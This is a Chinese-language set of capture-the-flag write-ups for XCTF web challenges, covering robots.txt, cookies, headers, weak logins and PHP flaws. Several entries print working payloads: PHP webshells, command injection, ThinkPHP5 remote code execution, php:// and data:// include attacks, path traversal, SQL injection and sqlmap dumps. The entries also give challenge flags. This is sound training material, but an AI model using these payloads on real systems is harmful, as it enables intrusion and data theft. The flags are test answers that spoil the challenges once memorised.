https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=0
https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1

新手练习区

view_source(查看源码)

难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。 题目场景: 题目附件: 暂无

Ctrl + U / F12 查看网页源代码得到 flag:cyberpeace{efefaca6785b40c07aab084db2d38571}

robots(robots.txt)

难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。 题目场景: 题目附件: 暂无

网页空白,查看源码,提示:
再根据题目提示,访问 /robots.txt 得到:

  1. User-agent: *
  2. Disallow:
  3. Disallow: f1ag_1s_h3re.php

访问 /f1ag_1s_h3re.php 得到 flag:cyberpeace{3cb114a85c4f5603ed16a1967b8bffd3} :::info robots.txt 是一种君子协议 :::

backup(文件备份)

难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧! 题目场景: 题目附件: 暂无

网页提示:你知道index.php的备份文件名吗?
尝试访问 /index.php.bak 并打开,
得到 flag:Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

cookie(查看 cookie)

难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’ 题目场景: 题目附件: 暂无

网页提示:你知道什么是cookie吗?
在浏览器 Network 中 / burp 抓包,看到响应头 Set-Cookie: look-here=cookie.php
访问 /cookie.php ,提示:See the http response
burp 抓包,看到响应头 flag: cyberpeace{07ae0661cf1f21ff2b7dfb9a6cc3bfc8}

另一种看 cookie 的方法:浏览器 Console 中输入 document.cookie

disabled_button(HTML 代码调试)

难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢? 题目场景: 题目附件: 暂无

网页中有个被禁用的按钮 [flag],F12 打开开发者工具,找到代码:

  1. <input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth" />

disabled 属性删掉,点击网页的 [flag] 按钮得到 cyberpeace{8adf7b3917a234ff05a6f5427e3f2ef9}

另一种方法,HackBar 中直接 Post auth=flag

weak_auth(暴力破解)

难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。 题目场景: 题目附件: 暂无

网页是个登录页面,用 aaa:111 登录,提示:please login as admin
查看 /check.php 源码,提示:
用 burp 构造攻击,使用字典 https://github.com/TheKingOfDuck/fuzzDicts passwordDict/top500
找到 Length 与其他不同的响应,得到 flag:cyberpeace{71b65ca67c39f730c83315033927f83e}
image.png
image.png

simple_php(php 代码审计)

难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 题目场景: 题目附件: 暂无

网页给出代码:

  1. <?php
  2. show_source(__FILE__);
  3. include("config.php");
  4. $a=@$_GET['a'];
  5. $b=@$_GET['b'];
  6. if($a==0 and $a){ // 需要同时满足 a==0 且 a==true
  7. echo $flag1;
  8. }
  9. if(is_numeric($b)){ // b 不能是数字或数字字符串
  10. exit();
  11. }
  12. if($b>1234){ // b 要大于 1234
  13. echo $flag2;
  14. }
  15. ?>

:::info php 中有两种比较符号:
=== 会同时比较字符串的值和类型
== 会先将字符串换成相同类型,再作比较,属于弱类型比较
php 中弱类型比较时,会使 '1234a' == 1234'abc' == 0 为真 ::: :::info is_numeric() 判断如果是数字数字字符串返回 TRUE,否则返回 FALSE ::: 构造 GET 参数:/?a=a&b=1235a

get_post(HTTP 请求方法)

难度系数: 2.0 题目来源: Cyberpeace-n3k0 题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗? 题目场景: 题目附件: 暂无

网页提示:请用GET方式提交一个名为a,值为1的变量
GET 后提示:请再以POST方式随便提交一个名为b,值为2的变量
POST 后得到 flag:cyberpeace{f1d3faee88d739f7bf4bdea29617b49a}

xff_referer(XFF、Referer、HTTP 请求头)

难度系数: 2.0 题目来源: Cyberpeace-n3k0 题目描述:X老师告诉小宁其实xff和referer是可以伪造的。 题目场景: 题目附件: 暂无

网页提示:ip地址必须为123.123.123.123 :::info X-Forwarded-For:简称 XFF 头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项
Referer:当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的 ::: burp 在请求头加入 X-Forwarded-For: 123.123.123.123
网页又提示:必须来自https://www.google.com
burp 在请求头加入 Referer: https://www.google.com
得到 flag:cyberpeace{09a675b5ed26dc631a8000a3a669e93e}

webshell(webshell)

难度系数: 2.0 题目来源: Cyberpeace-n3k0 题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。 题目场景: 题目附件: 暂无

网页提示:你会使用webshell吗?<?php @eval($_POST[‘shell’]);?> :::info webshell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以叫做网页后门。黑客在入侵了一个网站后,通常会将 asp 或 php 后门文件与网站服务器 WEB 目录下正常的网页文件混在一起,然后就可以使用浏览器来访问 asp 或者 php 后门,得到一个命令执行环境,以达到控制网站服务器的目的 ::: HackBar 中 POST shell=system('find / -name *flag*');
可以看到 /var/www/html/flag.txt 文件,再 POST shell=system('cat /var/www/html/flag.txt');
得到 flag:cyberpeace{7e955946fbb705988142105875b3ccb1}

另一种方法,直接使用中国菜刀或蚁剑连接,URL 就是 http://****/index.php,密码是 shell

command_execution(命令执行)

难度系数: 2.0 题目来源: Cyberpeace-n3k0 题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。 题目场景: 题目附件: 暂无

网页输入一个 ip 会有 Linux 命令回显:
image.png
尝试 127.0.0.1 && find / -name *flag* ,发现
image.png
执行 127.0.0.1 && cat /home/flag.txt ,得到 flag:cyberpeace{7fbba7c164cc167c7fcfa9b4a13b54a8}

:::info Linux 中,
; 的作用是将命令隔开,每个命令从左到右执行
| 的作用是将前一个命令的结果传递给后一个命令作为输入(管道)
& 的作用是让 & 前面的命令后台执行
&& 的作用是前面命令返回真,后面命令才会执行
|| 的作用是前面命令返回假,后面命令才会执行(逻辑短路) ::: 所以本题可以使用 ; | & && 四种符号连接命令

simple_js(js 代码审计)

难度系数: 3.0 题目来源: root-me 题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} ) 题目场景: 题目附件: 暂无

查看网页源代码

  1. <html>
  2. <head>
  3. <title>JS</title>
  4. <script type="text/javascript">
  5. function dechiffre(pass_enc) {
  6. var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
  7. var tab = pass_enc.split(',');
  8. var tab2 = pass.split(',');
  9. var i, j, k, l = 0, m, n, o, p = "";
  10. i = 0;
  11. j = tab.length;
  12. k = j + (l) + (n = 0);
  13. n = tab2.length;
  14. for (i = (o = 0); i < (k = j = n); i++) {
  15. o = tab[i - l]; p += String.fromCharCode((o = tab2[i]));
  16. if (i == 5) break;
  17. }
  18. for (i = (o = 0); i < (k = j = n); i++) {
  19. o = tab[i - l];
  20. if (i > 5 && i < k - 1)
  21. p += String.fromCharCode((o = tab2[i]));
  22. }
  23. p += String.fromCharCode(tab2[17]);
  24. pass = p;
  25. return pass;
  26. }
  27. String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
  28. h = window.prompt('Enter password');
  29. alert(dechiffre(h));
  30. </script>
  31. </head>
  32. </html>

真密码在 fromCharCode
hex_to_ascii(\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30) = 55,56,54,79,115,69,114,116,107,49,50
ord(55,56,54,79,115,69,114,116,107,49,50) = 786OsErtk12
flag:Cyberpeace{786OsErtk12}


高手进阶区

baby_web(HTTP 响应头)

难度系数: 1.0 题目来源: 暂无 题目描述:想想初始页面是哪个 题目场景: 题目附件: 暂无

根据题目提示访问 /index.php ,发现会跳转到 /1.php
浏览器开发者工具 / burp 中查看 GET /index.php 的响应,发现 flag:flag{very_baby_web}

  1. HTTP/1.1 302 Found
  2. Date: Sat, 21 Aug 2021 13:18:11 GMT
  3. Server: Apache/2.4.38 (Debian)
  4. X-Powered-By: PHP/7.2.21
  5. FLAG: flag{very_baby_web}
  6. Location: 1.php
  7. Content-Length: 17
  8. Connection: close
  9. Content-Type: text/html; charset=UTF-8
  10. Flag is hidden!

:::info 响应头中 Location 的作用是将页面重定向到新的地址
https://datatracker.ietf.org/doc/html/rfc7231#section-7.1.2 :::

ics-06(暴力破解)

ics-0644 最佳Writeup由Bleach • Bleachz提供 难度系数: 2.0 题目来源: XCTF 4th-CyberEarth 题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。 题目场景: 题目附件: 暂无

打开页面如下
image.png
到处点一点,发现这个“报表中心”/index.php?id=1 这个页面有异常,尝试爆破 id
image.png image.png
发现 id=2333 返回长度与其他不同
image.png
访问 /index.php?id=2333 发现 flag
image.png

Training-WWW-Robots(robots.txt,同上

难度系数: 1.0 题目来源: 暂无 题目描述:暂无 题目场景: 题目附件: 暂无

根据页面提示,访问 /robots.txt ,发现 /fl0g.php

  1. User-agent: *
  2. Disallow: /fl0g.php
  3. User-agent: Yandex
  4. Disallow: *

访问 /fl0g.php ,得到 flag:cyberpeace{41f3bad28c5143623b59bb636e42b4b9}

php_rce(ThinkPHP5.* getshell 漏洞)

难度系数: 2.0 题目来源: 暂无 题目描述:暂无 题目场景: 题目附件: 暂无

页面如下:
image.png :::info ThinkPHP5.* 存在 getshell 漏洞 https://blog.thinkphp.cn/869075
ThinkPHP5 框架底层对控制器名过滤不严,可以通过 url 调用到 ThinkPHP 框架内部的敏感函数,进而导致getshell漏洞
payload 大全:https://www.cnblogs.com/r00tuser/p/10103329.html ::: 使用 payload 验证是否存在漏洞:

  1. /?s=index/think\app/invokefunction
  2. &function=call_user_func_array
  3. &vars[0]=system
  4. &vars[1][]=whoami

image.png
继续构造 payload:

  1. /?s=index/think\app/invokefunction
  2. &function=call_user_func_array
  3. &vars[0]=system
  4. &vars[1][]=find%20/%20-name%20%2Aflag%2A

image.png

  1. /?s=index/think\app/invokefunction
  2. &function=call_user_func_array
  3. &vars[0]=system
  4. &vars[1][]=cat%20/flag

image.png

Web_php_include(php 文件包含)

难度系数: 2.0 题目来源: XTCTF 题目描述:暂无 题目场景: 题目附件: 暂无

页面给出代码:

  1. <?php
  2. show_source(__FILE__);
  3. echo $_GET['hello'];
  4. $page=$_GET['page'];
  5. while (strstr($page, "php://")) {
  6. $page=str_replace("php://", "", $page);
  7. }
  8. include($page); // php 文件包含
  9. ?>

:::info **strstr($haystack, $needle, $before_needle)** 查找字符串的首次出现,返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串,例如:
strstr(‘name@example.com’, ‘@’) —> example.com
strstr(‘name@example.com’, ‘@’, true) —> name
参考:https://www.php.net/manual/zh/function.strstr.php
**str_replace($search, $replace, $subject, $count)** 子字符串替换,该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果
参考:https://www.php.net/manual/zh/function.str-replace.php ::: :::info php 伪协议https://www.php.net/manual/zh/wrappers.php
利用方法:https://www.cnblogs.com/-mo-/p/11736445.html ::: 如果 page 参数存在 php:// 则进行替换;然后进行文件包含

方法一(利用 php:// 伪协议执行命令,大小写绕过):
分析代码可知过滤了 php:// ,可以使用 Php:// 绕过 :::info **php://filter** 利用方法:
page=Php://filter/resource=index.php # 执行文件
page=Php://filter/read=convert.base64-encode/resource=index.php # 读取文件需要将文件名base64编码
**php://input** 利用方法:
将要执行的 php 代码写在 POST 中提交,不用键与值的形式,只写代码即可 ::: 本题可利用 php://input ,将命令放在 POST 中:
/?page=Php://input
POST data:<?system('ls');?>
POST data:<?system('cat fl4gisisish3r3.php');?>
比较坑的是网页中看不到任何变化,要看源码!!!

方法二(利用 http:// 伪协议执行命令):
/?page=http://127.0.0.1/index.php/?hello=<?system('ls');?>
/?page=http://127.0.0.1/index.php/?hello=<?show_source('fl4gisisish3r3.php');?>

方法三(利用 data:// 伪协议执行命令): :::info **data://** 利用方法:

  1. data://text/plain,<?phpcode?>
  2. data://text/plain/;base64,phpcode_base64encode_urlencode ::: ?page=data://text/plain,<?system('ls');?>
    ?page=data://text/plain,<?system('cat fl4gisisish3r3.php');?>

还可以利用 data:// 传木马:?page=data://text/plain,<?php @eval($_POST['flag']);?> :::info php 一句话木马:
https://www.cnblogs.com/white-album2/p/9851468.html
https://github.com/tennc/webshell/blob/master/php/php%E4%B8%80%E5%8F%A5%E8%AF%9D :::

方法四(SQL 写木马):
扫描网站发现 phpmyadmin,用户 root,密码为空,SQL 写入一句话木马

  1. select "<?php @eval($_POST['flag']);?>"
  2. into outfile '/tmp/test.php'

用菜刀 / 蚁剑连接,发现 fl4gisisish3r3.php

warmup(php 代码审计)

难度系数: 2.0 题目来源: HCTF 2018 题目描述:暂无 题目场景: 题目附件: 暂无

查看页面源代码,发现 source.php
image.png
访问 /source.php ,看到源码和一个提示 hint.php

  1. <?php
  2. highlight_file(__FILE__);
  3. class emmm
  4. {
  5. public static function checkFile(&$page)
  6. {
  7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  8. if (! isset($page) || !is_string($page)) {
  9. echo "you can't see it";
  10. return false;
  11. }
  12. if (in_array($page, $whitelist)) {
  13. return true;
  14. }
  15. $_page = mb_substr( // _page 取 page 的 ? 前面的字符串
  16. $page,
  17. 0,
  18. mb_strpos($page . '?', '?') // . 用连接字符串
  19. );
  20. if (in_array($_page, $whitelist)) { // _page 在 whitelist 中
  21. return true;
  22. }
  23. $_page = urldecode($page); // url 解码
  24. $_page = mb_substr(
  25. $_page,
  26. 0,
  27. mb_strpos($_page . '?', '?')
  28. );
  29. if (in_array($_page, $whitelist)) {
  30. return true;
  31. }
  32. echo "you can't see it";
  33. return false;
  34. }
  35. }
  36. if (! empty($_REQUEST['file'])
  37. && is_string($_REQUEST['file'])
  38. && emmm::checkFile($_REQUEST['file'])
  39. ) {
  40. include $_REQUEST['file'];
  41. exit;
  42. } else {
  43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  44. }
  45. ?>

分析代码,参数 file 需要满足下面条件:

  • 非空,字符串,checkFile(file) 返回 true
  • 以 source.php 或 hint.php 开头

再访问 hint.php ,提示 flag not here, and flag in ffffllllaaaagggg
构造 payload:/?file=source.php?/../../../../ffffllllaaaagggg

NewsCenter

难度系数: 2.0 题目来源: XCTF 4th-QCTF-2018 题目描述:如题目环境报错,稍等片刻刷新即可 题目场景: 题目附件: 暂无

手工注入

  1. 1.初步探测,发现搜索框存在注入
  2. ' union select 1,2,3 #
  3. 2.获取数据库名,表名
  4. ' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
  5. 3.获取news 表的字段名,数据类型
  6. ' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#
  7. 4.获取f1agfl4gher3 字段名 数据类型
  8. ' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
  9. 5.得到flag
  10. ' and 0 union select 1,2,fl4g from secret_table #

sqlmap 注入

  1. 1.获取注入点
  2. sqlmap -u http://192.168.100.161:53459 --data "search=df"
  3. 2.获取数据库信息
  4. sqlmap -u http://192.168.100.161:53459 --data "search=df" --dbs
  5. 3.获取库内表信息
  6. sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables
  7. 4.获取表内字段信息
  8. sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns
  9. 5.获取字段内容,得到flag
  10. sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump